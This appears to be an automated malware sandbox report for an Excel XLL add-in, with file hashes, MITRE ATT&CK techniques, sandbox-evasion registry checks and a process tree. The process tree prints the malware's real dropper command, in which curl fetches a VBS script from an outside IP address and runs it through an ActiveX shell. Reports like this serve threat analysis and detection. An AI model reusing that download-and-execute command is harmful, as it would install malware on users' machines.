392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

General

Target

392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23.xll
Size

50KB
MD5

d1a45948f411c02136ca98410475de52
SHA1

86ce40651326b8a67730da4e429d1bc202d46226
SHA256

392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23
SHA512

22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0
SSDEEP

1536:oUK23Jsm6Nh5wF3s8KjrtN/5TqRGiNwmU2x0X2Y:ICsNh5wF3s8KXHRTviNnAmY

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

me.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	me.exe

Executes dropped EXE 1 IoCs

Processes:

me.exe

pid	Process
4020	me.exe

Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid	Process
4180	EXCEL.EXE
4180	EXCEL.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
4180	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid	Process
4180	EXCEL.EXE
4180	EXCEL.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid	Process
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE
4180	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEme.execmd.exe

description	pid	Process	procid_target
PID 4180 wrote to memory of 4020	4180	EXCEL.EXE	87
PID 4180 wrote to memory of 4020	4180	EXCEL.EXE	87
PID 4020 wrote to memory of 2652	4020	me.exe	88
PID 4020 wrote to memory of 2652	4020	me.exe	88
PID 2652 wrote to memory of 2544	2652	cmd.exe	90
PID 2652 wrote to memory of 2544	2652	cmd.exe	90

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Users\Public\me.exe
  C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://5.42.77.33/QvCY2SE/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://5.42.77.33/QvCY2SE/123&&timeout 10&&c:\users\public\1.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\system32\curl.exe
      C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://5.42.77.33/QvCY2SE/123
      4⤵
      PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23.xll

Filesize
50KB

MD5
d1a45948f411c02136ca98410475de52

SHA1
86ce40651326b8a67730da4e429d1bc202d46226

SHA256
392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

SHA512
22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23.xll

Filesize
50KB

MD5
d1a45948f411c02136ca98410475de52

SHA1
86ce40651326b8a67730da4e429d1bc202d46226

SHA256
392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

SHA512
22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0

Download Submit
C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/4180-14-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-2-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-6-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-7-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-8-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-9-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-10-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-11-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-12-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-13-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-0-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-15-0x00007FFA95F40000-0x00007FFA95F50000-memory.dmp

Filesize
64KB

Download
memory/4180-16-0x00007FFA95F40000-0x00007FFA95F50000-memory.dmp

Filesize
64KB

Download
memory/4180-5-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-4-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-3-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-1-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-26-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-43-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-44-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-45-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download
memory/4180-47-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-48-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-49-0x00007FFAD8670000-0x00007FFAD8865000-memory.dmp

Filesize
2.0MB

Download
memory/4180-46-0x00007FFA986F0000-0x00007FFA98700000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads